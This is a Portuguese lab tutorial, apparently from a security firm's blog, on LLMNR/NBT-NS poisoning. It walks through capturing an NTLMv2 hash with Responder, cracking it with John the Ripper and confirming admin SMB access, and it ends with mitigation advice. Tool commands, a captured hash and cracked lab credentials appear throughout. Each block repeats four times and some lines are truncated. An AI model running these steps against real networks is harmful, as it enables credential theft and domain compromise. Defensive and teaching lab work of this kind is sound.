A Resolução de Nomes Multicast Local de Link (LLMNR) e o Serviço de Nomes NetBIOS (NBT-NS) são dois protocolos de resolução de nomes que ajudam os hosts Windowss a encontrar nomes de endereço de outros dispositivos na rede. São componentes do Windows e funcionam como métodos alternativos de identificação de hosts. O LLMNRé baseado no Sistema de Nomes de Domínio (DNS) e usa uma simples troca de mensagens de solicitação e resposta para resolver nomes de computadores em endereços IPV6 ou IPV4.
O NBT-NS usa o NetBIOS para resolver endereços IPV4 transmitindo uma mensagem de NetBIOS Name Query Request para o endereço de broadcast da sub-rede local, usando a porta UDP 137.O nó que possui o nome consultado responde com uma mensagem unicast ao solicitante. Se o NBT-NS estiver desabilitado, o sistema precisará usar consultas DNS para resolver nomes, e se a rede não tiver servidores DNS, os nomes deverão estar no arquivo Hosts da máquina.
As mensagens LLMNRusam um formato semelhante ao das mensagens DNS, mas utilizam a porta UDP port 5355. Funciona enviando uma mensagem de LLMNR Name Query Requestpara o endereço multicast; esse endereço multicast tem alcance limitado para evitar que um roteador com multicast habilitado encaminhe a solicitação para fora da sub-rede do solicitante. Se um host da sub-rede for autoritativo para o nome solicitado, ele envia uma resposta unicast ao solicitante.
Como os dois protocolos usam mensagens de broadcast para resolver nomes na rede, um atacante pode escutá-las e responder se passando por uma fonte autoritativa de resolução de nomes, como se soubesse o nome solicitado. Com o serviço já envenenado, a vítima continua a comunicação com o atacante e, se o recurso de rede exigir autenticação, a vítima envia um nome de usuário e um hash NTLMv2. Aqui o atacante pode usar ferramentas como o JohnTheRipper para quebrar as credenciais e obter acesso ao sistema. Esse ataque é chamado de LLMNR/NBT-NS Poisoning and Relay.
Laboratório do Responder
Para configurar nosso laboratório, vamos usar o Vagrant da Hashicorp; os arquivos-fonte estão abaixo. Crie uma pasta chamada requestor e salve o Vagrantfile ali. Crie também outra pasta dentro de requestor chamada provision e salve o arquivo ad.ps1 ali.
Configuração do laboratório
$ mkdir requestor
$ cd requestor
requestor$ nano Vagrantfile
requestor$ mkdir provision
requestor$ nano provision/ad.ps1
$ mkdir requestor
$ cd requestor
requestor$ nano Vagrantfile
requestor$ mkdir provision
requestor$ nano provision/ad.ps1
$ mkdir requestor
$ cd requestor
requestor$ nano Vagrantfile
requestor$ mkdir provision
requestor$ nano provision/ad.ps1
$ mkdir requestor
$ cd requestor
requestor$ nano Vagrantfile
requestor$ mkdir provision
requestor$ nano provision/ad.ps1
Vagrantfile
Vagrant.configure("2") do |config|
config.vm.box = "cdaf/WindowsServerDC"
config.vm.hostname = "winserver"
config.vm.network "private_network", ip: "192.168.56.2"
config.vm.provision "shell", path: "provision/ad.ps1"
end
Vagrant.configure("2") do |config|
config.vm.box = "cdaf/WindowsServerDC"
config.vm.hostname = "winserver"
config.vm.network "private_network", ip: "192.168.56.2"
config.vm.provision "shell", path: "provision/ad.ps1"
end
Vagrant.configure("2") do |config|
config.vm.box = "cdaf/WindowsServerDC"
config.vm.hostname = "winserver"
config.vm.network "private_network", ip: "192.168.56.2"
config.vm.provision "shell", path: "provision/ad.ps1"
end
Vagrant.configure("2") do |config|
config.vm.box = "cdaf/WindowsServerDC"
config.vm.hostname = "winserver"
config.vm.network "private_network", ip: "192.168.56.2"
config.vm.provision "shell", path: "provision/ad.ps1"
endProvision/ad.ps1
Depois, execute o ambiente com:
Vagrant up
Isso criará uma máquina Window com o Active Directory instalado e configurado. Com isso, já temos tudo o que precisamos e estamos prontos para lançar um ataque.
Agora podemos configurar nossa máquina atacante. Aqui estamos usando o Kali Linux com Vagranttambém, mas você pode usar o sistema operacional que preferir.
Estas são as ferramentas que vamos usar:
Se você estiver usando o Kali, a única coisa que precisa ser clonada é o Responder.
Clonando o Responder
Estamos prontos.
Iniciando o envenenador
A única coisa que precisamos fazer é executar o Responder como root. Podemos fazer isso com o seguinte:
Executando o Responder
Responder$ sudo ./Responder.py -I eth1 -wrf
Responder$ sudo ./Responder.py -I eth1 -wrf
Responder$ sudo ./Responder.py -I eth1 -wrf
Responder$ sudo ./Responder.py -I eth1 -wrf
Responder
NBT-NS, LLMNR & MDNS Responder 2.3
Author: Laurent Gaffie
To kill this script hit CRTL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [ON]
[+] Generic Options:
Responder NIC [eth1]
Responder IP [192.168.56.103]
Challenge set [1122334455667788]
[+] Listening for
NBT-NS, LLMNR & MDNS Responder 2.3
Author: Laurent Gaffie
To kill this script hit CRTL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [ON]
[+] Generic Options:
Responder NIC [eth1]
Responder IP [192.168.56.103]
Challenge set [1122334455667788]
[+] Listening for
NBT-NS, LLMNR & MDNS Responder 2.3
Author: Laurent Gaffie
To kill this script hit CRTL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [ON]
[+] Generic Options:
Responder NIC [eth1]
Responder IP [192.168.56.103]
Challenge set [1122334455667788]
[+] Listening for
NBT-NS, LLMNR & MDNS Responder 2.3
Author: Laurent Gaffie
To kill this script hit CRTL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [ON]
[+] Generic Options:
Responder NIC [eth1]
Responder IP [192.168.56.103]
Challenge set [1122334455667788]
[+] Listening for
Como estamos na mesma rede, é só uma questão de tempo até recebermos uma solicitação de alguma máquina na sub-rede. Mas, como nossa máquina Windows não está fazendo nada, não receberemos nada.
Capturando credenciais
Agora vamos agir como um usuário normal em nossa máquina Windows. Faça login como svctest, no domínio sky.net, com a senha Monkey.123; depois abra o menu iniciar e digite run. Ali vamos procurar um nome na rede; basta digitar o seguinte:
Procurando nomes
Ali vamos receber um erro ao acessar o compartilhamento, mas em nossa máquina atacante teremos o seguinte::
Saída do Responder
[*] [LLMNR] Poisoned answer sent to 192.168.56.2 for name FLUIDATTACKS
[FINGER] OS Version : Windows Server 2016 Standard Evaluation 14393
[FINGER] Client Version : Windows Server 2016 Standard Evaluation 6.3
[SMB] NTLMv2-SSP Client : 192.168.56.2
[SMB] NTLMv2-SSP Username : SKY\svctest
[SMB] NTLMv2-SSP Hash : svctest::SKY:1122334455667788:D78BEB50968B6AEA3D8A9CD04765BB6A:01010000000000008274E5E0A507D60176E66DEAF12162F90000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D00420031003200080030003000000000000000000000000030000037AE67261C1D6D0CEBBD9D3AA1803818C033512B8B0FD6DEBA539CFD272D615B0A001000000000000000000000000000000000000900220063006900660073002F0046004C00550049004400410054005400410043004B0053000000000000000000
[SMB] Requested Share : \\FLUIDATTACKS\IPC$
[*] [LLMNR] Poisoned answer sent to 192.168.56.2 for name FLUIDATTACKS
[FINGER] OS Version : Windows Server 2016 Standard Evaluation 14393
[FINGER] Client Version : Windows Server 2016 Standard Evaluation 6.3
[*] Skipping previously captured hash for SKY\svctest
[SMB] Requested Share : \\FLUIDATTACKS\IPC$
[*] [LLMNR] Poisoned answer sent to 192.168.56.2 for name FLUIDATTACKS
[FINGER] OS Version : Windows Server 2016 Standard Evaluation 14393
[FINGER] Client Version : Windows Server 2016 Standard Evaluation 6.3
[SMB] NTLMv2-SSP Client : 192.168.56.2
[SMB] NTLMv2-SSP Username : SKY\svctest
[SMB] NTLMv2-SSP Hash : svctest::SKY:1122334455667788:D78BEB50968B6AEA3D8A9CD04765BB6A:01010000000000008274E5E0A507D60176E66DEAF12162F90000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D00420031003200080030003000000000000000000000000030000037AE67261C1D6D0CEBBD9D3AA1803818C033512B8B0FD6DEBA539CFD272D615B0A001000000000000000000000000000000000000900220063006900660073002F0046004C00550049004400410054005400410043004B0053000000000000000000
[SMB] Requested Share : \\FLUIDATTACKS\IPC$
[*] [LLMNR] Poisoned answer sent to 192.168.56.2 for name FLUIDATTACKS
[FINGER] OS Version : Windows Server 2016 Standard Evaluation 14393
[FINGER] Client Version : Windows Server 2016 Standard Evaluation 6.3
[*] Skipping previously captured hash for SKY\svctest
[SMB] Requested Share : \\FLUIDATTACKS\IPC$
[*] [LLMNR] Poisoned answer sent to 192.168.56.2 for name FLUIDATTACKS
[FINGER] OS Version : Windows Server 2016 Standard Evaluation 14393
[FINGER] Client Version : Windows Server 2016 Standard Evaluation 6.3
[SMB] NTLMv2-SSP Client : 192.168.56.2
[SMB] NTLMv2-SSP Username : SKY\svctest
[SMB] NTLMv2-SSP Hash : svctest::SKY:1122334455667788:D78BEB50968B6AEA3D8A9CD04765BB6A:01010000000000008274E5E0A507D60176E66DEAF12162F90000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D00420031003200080030003000000000000000000000000030000037AE67261C1D6D0CEBBD9D3AA1803818C033512B8B0FD6DEBA539CFD272D615B0A001000000000000000000000000000000000000900220063006900660073002F0046004C00550049004400410054005400410043004B0053000000000000000000
[SMB] Requested Share : \\FLUIDATTACKS\IPC$
[*] [LLMNR] Poisoned answer sent to 192.168.56.2 for name FLUIDATTACKS
[FINGER] OS Version : Windows Server 2016 Standard Evaluation 14393
[FINGER] Client Version : Windows Server 2016 Standard Evaluation 6.3
[*] Skipping previously captured hash for SKY\svctest
[SMB] Requested Share : \\FLUIDATTACKS\IPC$
[*] [LLMNR] Poisoned answer sent to 192.168.56.2 for name FLUIDATTACKS
[FINGER] OS Version : Windows Server 2016 Standard Evaluation 14393
[FINGER] Client Version : Windows Server 2016 Standard Evaluation 6.3
[SMB] NTLMv2-SSP Client : 192.168.56.2
[SMB] NTLMv2-SSP Username : SKY\svctest
[SMB] NTLMv2-SSP Hash : svctest::SKY:1122334455667788:D78BEB50968B6AEA3D8A9CD04765BB6A:01010000000000008274E5E0A507D60176E66DEAF12162F90000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D00420031003200080030003000000000000000000000000030000037AE67261C1D6D0CEBBD9D3AA1803818C033512B8B0FD6DEBA539CFD272D615B0A001000000000000000000000000000000000000900220063006900660073002F0046004C00550049004400410054005400410043004B0053000000000000000000
[SMB] Requested Share : \\FLUIDATTACKS\IPC$
[*] [LLMNR] Poisoned answer sent to 192.168.56.2 for name FLUIDATTACKS
[FINGER] OS Version : Windows Server 2016 Standard Evaluation 14393
[FINGER] Client Version : Windows Server 2016 Standard Evaluation 6.3
[*] Skipping previously captured hash for SKY\svctest
[SMB] Requested Share : \\FLUIDATTACKS\IPC$

Resultado do Responder
Aqui temos nosso hash; são NTLMv2 hashes, e ali também podemos ver algumas informações sobre o servidor, como a versão do sistema operacional e o compartilhamento solicitado. Com isso, salvamos o hash desse usuário em um arquivo.
Salvando o hash
echo 'svctest::SKY:1122334455667788:D78BEB50968B6AEA3D8A9CD04765BB6A:01010000000000008274E5E0A507D60176E66DEAF12162F90000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D00420031003200080030003000000000000000000000000030000037AE67261C1D6D0CEBBD9D3AA1803818C033512B8B0FD6DEBA539CFD272D615B0A001000000000000000000000000000000000000900220063006900660073002F0046004C00550049004400410054005400410043004B0053000000000000000000'
echo 'svctest::SKY:1122334455667788:D78BEB50968B6AEA3D8A9CD04765BB6A:01010000000000008274E5E0A507D60176E66DEAF12162F90000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D00420031003200080030003000000000000000000000000030000037AE67261C1D6D0CEBBD9D3AA1803818C033512B8B0FD6DEBA539CFD272D615B0A001000000000000000000000000000000000000900220063006900660073002F0046004C00550049004400410054005400410043004B0053000000000000000000'
echo 'svctest::SKY:1122334455667788:D78BEB50968B6AEA3D8A9CD04765BB6A:01010000000000008274E5E0A507D60176E66DEAF12162F90000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D00420031003200080030003000000000000000000000000030000037AE67261C1D6D0CEBBD9D3AA1803818C033512B8B0FD6DEBA539CFD272D615B0A001000000000000000000000000000000000000900220063006900660073002F0046004C00550049004400410054005400410043004B0053000000000000000000'
echo 'svctest::SKY:1122334455667788:D78BEB50968B6AEA3D8A9CD04765BB6A:01010000000000008274E5E0A507D60176E66DEAF12162F90000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D00420031003200080030003000000000000000000000000030000037AE67261C1D6D0CEBBD9D3AA1803818C033512B8B0FD6DEBA539CFD272D615B0A001000000000000000000000000000000000000900220063006900660073002F0046004C00550049004400410054005400410043004B0053000000000000000000'
Depois usamos o John, um dicionário do SecLists e o conjunto de regras do KoreLogic para quebrá-lo. Como os hashes NTLMv2 são mais difíceis de quebrar, isso pode demorar um pouco, dependendo do seu sistema.
Quebrando com o John
john --wordlist=/usr/share/seclists/Passwords/darkweb2017-top100.txt --rules
john --wordlist=/usr/share/seclists/Passwords/darkweb2017-top100.txt --rules
john --wordlist=/usr/share/seclists/Passwords/darkweb2017-top100.txt --rules
john --wordlist=/usr/share/seclists/Passwords/darkweb2017-top100.txt --rules
Saída do John
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Monkey.123 (svctest)
1g 0:00:00:18 DONE (2020-03-31 17:55) 0.05518g/s 575858p/s 575858c/s 575858C/s Asdfgh.jkl13..Asdfgh.jkl24
Use the "--show --format=netntlmv2"
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Monkey.123 (svctest)
1g 0:00:00:18 DONE (2020-03-31 17:55) 0.05518g/s 575858p/s 575858c/s 575858C/s Asdfgh.jkl13..Asdfgh.jkl24
Use the "--show --format=netntlmv2"
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Monkey.123 (svctest)
1g 0:00:00:18 DONE (2020-03-31 17:55) 0.05518g/s 575858p/s 575858c/s 575858C/s Asdfgh.jkl13..Asdfgh.jkl24
Use the "--show --format=netntlmv2"
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Monkey.123 (svctest)
1g 0:00:00:18 DONE (2020-03-31 17:55) 0.05518g/s 575858p/s 575858c/s 575858C/s Asdfgh.jkl13..Asdfgh.jkl24
Use the "--show --format=netntlmv2"
E está quebrado! Agora podemos verificar nosso acesso executando o smbmap novamente com nosso novo conjunto de credenciais.
Privilégios altos no samba
smbmap -u svctest -p 'Monkey.123' -d sky.net -H 192
smbmap -u svctest -p 'Monkey.123' -d sky.net -H 192
smbmap -u svctest -p 'Monkey.123' -d sky.net -H 192
smbmap -u svctest -p 'Monkey.123' -d sky.net -H 192
Sdmin smbmap
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.56.2...
[+] IP: 192.168.56.2:445 Name: 192.168.56.2
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
IPC$ READ ONLY
NETLOGON READ, WRITE
SYSVOL READ, WRITE
[!] Unable to remove test directory at \\192
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.56.2...
[+] IP: 192.168.56.2:445 Name: 192.168.56.2
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
IPC$ READ ONLY
NETLOGON READ, WRITE
SYSVOL READ, WRITE
[!] Unable to remove test directory at \\192
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.56.2...
[+] IP: 192.168.56.2:445 Name: 192.168.56.2
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
IPC$ READ ONLY
NETLOGON READ, WRITE
SYSVOL READ, WRITE
[!] Unable to remove test directory at \\192
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.56.2...
[+] IP: 192.168.56.2:445 Name: 192.168.56.2
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
IPC$ READ ONLY
NETLOGON READ, WRITE
SYSVOL READ, WRITE
[!] Unable to remove test directory at \\192
Como você pode ver, agora temos acesso administrativo ao nosso servidor. Você pode acessá-lo por RDP ou recuperar arquivos usando SMB. Também é possível extrair o SAM para obter mais usuários e hashes; esses últimos são NTLMv1 e fáceis de quebrar.
Isso poderia ser feito usando a conta reqtest ou a conta vagrant. Se um atacante fizer isso em uma rede corporativa, ele pode capturar qualquer número de contas da rede. Além disso, existem scripts do Windows, como o Inveigh, com os quais é possível realizar mais ou menos o mesmo ataque com os mesmos resultados.
Solução
A correção para esse ataque é desabilitar tanto o LLMNRquanto o NBT-NS em todos os hosts, já que o Windows recorre a um deles quando o outro falha ou está desabilitado. Também é possível usar um software de segurança baseado em host que bloqueie solicitações de LLMNR/NBT-NS.
Outra forma de mitigar isso é ter e aplicar uma política de credenciais rígida. As senhas devem ter mais de 20 caracteres, conter letras maiúsculas e minúsculas, símbolos e dígitos, e não devem ser fáceis de adivinhar. Por isso, vale a pena adotar frases-senha em vez de senhas simples.
Isso é especialmente útil quando se trata de credenciais de serviço, já que são as mais visadas. Você também pode configurar um alerta para ser notificado quando alguém fizer login com seus usuários mais críticos e de maiores privilégios.
Se quiser mais informações sobre credenciais fracas e fortes, você pode visitar nosso banco de dados.